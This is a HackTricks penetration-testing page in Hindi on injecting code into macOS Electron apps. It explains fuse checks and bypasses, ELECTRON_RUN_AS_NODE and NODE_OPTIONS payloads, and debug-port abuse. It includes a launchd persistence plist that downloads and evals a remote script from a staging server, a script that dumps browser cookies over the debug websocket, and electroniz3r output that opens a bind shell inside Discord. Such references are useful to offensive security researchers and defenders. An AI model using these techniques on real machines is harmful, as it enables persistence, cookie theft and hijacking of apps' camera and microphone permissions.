macOS Electron Applications Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

अगर आप नहीं जानते कि इलेक्ट्रॉन क्या है, तो आप यहाँ बहुत सारी जानकारी पा सकते हैं। लेकिन अब तक यह जान लें कि इलेक्ट्रॉन नोड चलाता है। और नोड के कुछ पैरामीटर और एनवी वेरिएबल्स हैं जो इसका उपयोग निर्दित फ़ाइल के अलावा अन्य कोड को निष्पादित करने के लिए किया जा सकता है।

इलेक्ट्रॉन फ्यूज़

इन तकनीकों पर चर्चा की जाएगी, लेकिन हाल के समय में इलेक्ट्रॉन ने इन्हें रोकने के लिए कई सुरक्षा झंडे जोड़े हैं। ये हैं इलेक्ट्रॉन फ्यूज़ और ये वे हैं जो इलेक्ट्रॉन ऐप्स को macOS में अनियमित कोड लोड करने से रोकने के लिए उपयोग किए जाते हैं:

  • RunAsNode: यदि यह अक्षम है, तो यह एनवी वेर ELECTRON_RUN_AS_NODE का उपयोग कोड इंजेक्शन करने को रोकता है।

  • EnableNodeCliInspectArguments: यदि यह अक्षम है, तो --inspect, --inspect-brk जैसे पैरामीटर सम्मानित नहीं होंगे। इस तरह कोड इंजेक्शन को रोकते हैं।

  • EnableEmbeddedAsarIntegrityValidation: यदि सक्षम है, तो लोड किया गया asar फ़ाइल macOS द्वारा सत्यापित किया जाएगा। इस तरह कोड इंजेक्शन को रोकते हैं जिसमें इस फ़ाइल की सामग्री को संशोधित किया जाता है।

  • OnlyLoadAppFromAsar: यदि यह सक्षम है, तो निम्नलिखित क्रम में लोड करने की जगह खोजने की बजाय: app.asar, app और अंत में default_app.asar। यह केवल app.asar की जाँच करेगा और उसका उपयोग करेगा, इसलिए जब embeddedAsarIntegrityValidation फ्यूज़ के साथ मिलाकर इसे सत्यापित न किए गए कोड लोड करना असंभव होगा।

  • LoadBrowserProcessSpecificV8Snapshot: यदि सक्षम है, तो ब्राउज़र प्रक्रिया browser_v8_context_snapshot.bin नामक फ़ाइल का उपयोग अपने V8 स्नैपशॉट के लिए करेगी।

एक और दिलचस्प फ्यूज़ जो कोड इंजेक्शन को रोकने वाला नहीं होगा है:

  • EnableCookieEncryption: यदि सक्षम है, तो डिस्क पर कुकी स्टोर OS स्तर के एन्क्रिप्शन कुंजियों का उपयोग करके एन्क्रिप्ट किया जाता है।

इलेक्ट्रॉन फ्यूज़ की जाँच

आप एक एप्लिकेशन से इन झंडों की जाँच कर सकते हैं:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

इलेक्ट्रॉन फ्यूज़ को संशोधित करना

जैसा कि दस्तावेज़ उल्लेख करते हैं, इलेक्ट्रॉन फ्यूज़ का विन्यास इलेक्ट्रॉन बाइनरी में किया जाता है जिसमें कहीं dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX स्ट्रिंग होती है।

macOS एप्लिकेशन में यह आम तौर पर application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework में होता है।

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

आप इस फ़ाइल को https://hexed.it/ में लोड कर सकते हैं और पिछले स्ट्रिंग की खोज कर सकते हैं। इस स्ट्रिंग के बाद, ASCII में एक संख्या "0" या "1" दिखाई देगी जो प्रत्येक फ्यूज़ को अक्षम या सक्षम करती है। फ्यूज़ मानों को संशोधित करने के लिए हेक्स कोड को संशोधित करें (0x30 0 है और 0x31 1 है)।

ध्यान दें कि यदि आप इस बाइट को संशोधित करके Electron Framework बाइनरी को एक एप्लिकेशन के अंदर अधिलेखित करने की कोशिश करते हैं, तो ऐप नहीं चलेगी।

RCE इलेक्ट्रॉन एप्लिकेशन में कोड जोड़ना

एक इलेक्ट्रॉन ऐप में बाहरी JS/HTML फ़ाइलें हो सकती हैं, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिसका हस्ताक्षर जांच नहीं किया जाएगा और ऐप के संदर्भ में विचित्र कोड को निष्पादित कर सकता है।

हालांकि, इस समय 2 सीमाएं हैं:

  • kTCCServiceSystemPolicyAppBundles अनुमति की आवश्यकता है एक ऐप को संशोधित करने के लिए, इसलिए डिफ़ॉल्ट रूप से यह अब संभव नहीं है।

  • संकलित asap फ़ाइल में आम तौर पर फ्यूज़ embeddedAsarIntegrityValidation और onlyLoadAppFromAsar सक्षम होते हैं

इस हमले का मार्ग अधिक जटिल (या असंभव) बना देता है।

ध्यान दें कि kTCCServiceSystemPolicyAppBundles की आवश्यकता को छोड़ने के लिए ऐप्लिकेशन को एक अन्य निर्देशिका में कॉपी करके (जैसे /tmp), फ़ोल्डर app.app/Contents का नाम बदलकर app.app/NotCon करें, अपने हानिकारक कोड के साथ asar फ़ाइल को संशोधित करें, इसे फिर से app.app/Contents के नाम से बदलें और इसे निष्पादित करें।

आप एसार फ़ाइल से कोड को अनपैक कर सकते हैं:

npx asar extract app.asar app-decomp

और उसे बाद में पैक करें जब आप इसे संशोधित कर चुके हों:

npx asar pack app-decomp app-new.asar

ELECTRON_RUN_AS_NODE के साथ RCE

दस्तावेज़ के अनुसार, यदि यह env variable सेट किया गया है, तो यह प्रक्रिया एक सामान्य Node.js प्रक्रिया के रूप में शुरू होगी।

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

यदि फ्यूज RunAsNode अक्षम है तो env var ELECTRON_RUN_AS_NODE को नजरअंदाज किया जाएगा, और यह काम नहीं करेगा।

एप्लिकेशन प्लिस्ट से इंजेक्शन

जैसा कि यहाँ सुझाव दिया गया है, आप एक प्लिस्ट में इस env वेरिएबल का दुरुपयोग कर सकते हैं ताकि स्थिरता बनी रहे:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

NODE_OPTIONS के साथ RCE

आप पेयलोड को एक अलग फ़ाइल में स्टोर कर सकते हैं और इसे एक्सीक्यूट कर सकते हैं:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

यदि फ्यूज EnableNodeOptionsEnvironmentVariable अक्षम है, तो ऐप NODE_OPTIONS एनवायरन्मेंट वेरिएबल को अनदेखा करेगा जब तक एनवायरन्मेंट वेरिएबल ELECTRON_RUN_AS_NODE सेट नहीं होता है, जिसे भी अनदेखा किया जाएगा अगर फ्यूज RunAsNode अक्षम है।

अगर आप ELECTRON_RUN_AS_NODE सेट नहीं करते हैं, तो आपको त्रुटि मिलेगी: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.

ऐप प्लिस्ट से इंजेक्शन

आप इस एनवायरन्मेंट वेरिएबल का दुरुपयोग प्लिस्ट में कर सकते हैं ताकि स्थिरता बनी रहे और निम्नलिखित कुंजी जोड़ सकते हैं:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE इंस्पेक्टिंग के साथ

इस के अनुसार, यदि आप --inspect, --inspect-brk और --remote-debugging-port जैसे ध्वजों के साथ एक इलेक्ट्रॉन एप्लिकेशन को निष्पादित करते हैं, तो एक डीबग पोर्ट खुला रहेगा ताकि आप इससे कनेक्ट कर सकें (उदाहरण के लिए Chrome से chrome://inspect में) और आप उस पर कोड इंजेक्ट कर सकें या नए प्रक्रियाएँ भी चला सकें। उदाहारण के लिए:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

यदि फ्यूज EnableNodeCliInspectArguments अक्षम है, तो ऐप नोड पैरामीटर को नजरअंदाज करेगा (जैसे --inspect) जब तक इन्वायरमेंट वेरिएबल ELECTRON_RUN_AS_NODE सेट नहीं है, जो फ्यूज RunAsNode अक्षम है, तो यह भी नजरअंदाज किया जाएगा।

हालांकि, आप अब भी इलेक्ट्रॉन पैरामीटर --remote-debugging-port=9229 का उपयोग कर सकते हैं लेकिन पिछला पेलोड अन्य प्रक्रियाओं को निष्पादित करने के लिए काम नहीं करेगा।

पैरामीटर --remote-debugging-port=9222 का उपयोग करके इलेक्ट्रॉन ऐप से कुछ जानकारी चुरा सकते हैं जैसे हिस्ट्री (GET कमांड के साथ) या ब्राउज़र के कुकी (जैसे कि वे ब्राउज़र के अंदर डिक्रिप्ट होते हैं और एक जेसन एंडपॉइंट है जो उन्हें देगा)।

आप यह कैसे कर सकते हैं यहाँ और यहाँ और स्वचालित उपकरण WhiteChocolateMacademiaNut या एक सरल स्क्रिप्ट का उपयोग करें:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

इस ब्लॉग पोस्ट में, इस डीबगिंग का दुरुपयोग किया गया है ताकि एक हेडलेस क्रोम किसी भी स्थान पर विविध फ़ाइलें डाउनलोड कर सके

एप्लिकेशन प्लिस्ट से इंजेक्शन

आप इस env वेरिएबल का दुरुपयोग प्लिस्ट में कर सकते हैं ताकि स्थिरता बनाए रखने के लिए इन कुंजी जोड़ सकते हैं:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

TCC बायपास पुराने संस्करणों का दुरुपयोग

macOS का TCC डेमन एप्लिकेशन के निष्पादित संस्करण की जांच नहीं करता। इसलिए, अगर आप किसी भी पिछले तकनीक के साथ इलेक्ट्रॉन एप्लिकेशन में कोड इंजेक्शन नहीं कर सकते तो आप पिछले संस्करण का ऐप डाउनलोड करके उसमें कोड इंजेक्ट कर सकते हैं क्योंकि यह अभी भी TCC अधिकार प्राप्त करेगा (यदि ट्रस्ट कैश इसे रोकता नहीं है)।

गैर JS कोड चलाएं

पिछली तकनीक आपको इलेक्ट्रॉन एप्लिकेशन की प्रक्रिया में JS कोड चलाने की अनुमति देगी। हालांकि, ध्यान रखें कि बच्ची प्रक्रियाएँ माता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं और उनकी TCC अनुमतियों को वे विरासत में लेती हैं। इसलिए, यदि आप कैमरा या माइक्रोफोन तक पहुंचने के लिए अधिकारों का दुरुपयोग करना चाहते हैं, तो आप बस प्रक्रिया से एक और बाइनरी चला सकते हैं

स्वचालित इंजेक्शन

उपकरण electroniz3r का उपयोग करके आसानी से संकटग्रस्त इलेक्ट्रॉन एप्लिकेशन को खोजा जा सकता है और उन पर कोड इंजेक्ट किया जा सकता है। यह उपकरण --inspect तकनीक का उपयोग करने का प्रयास करेगा:

आपको इसे खुद कंपाइल करना होगा और इसे इस प्रकार से उपयोग कर सकते हैं:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
    Bundle identifier                             Path                                               
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

संदर्भ

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated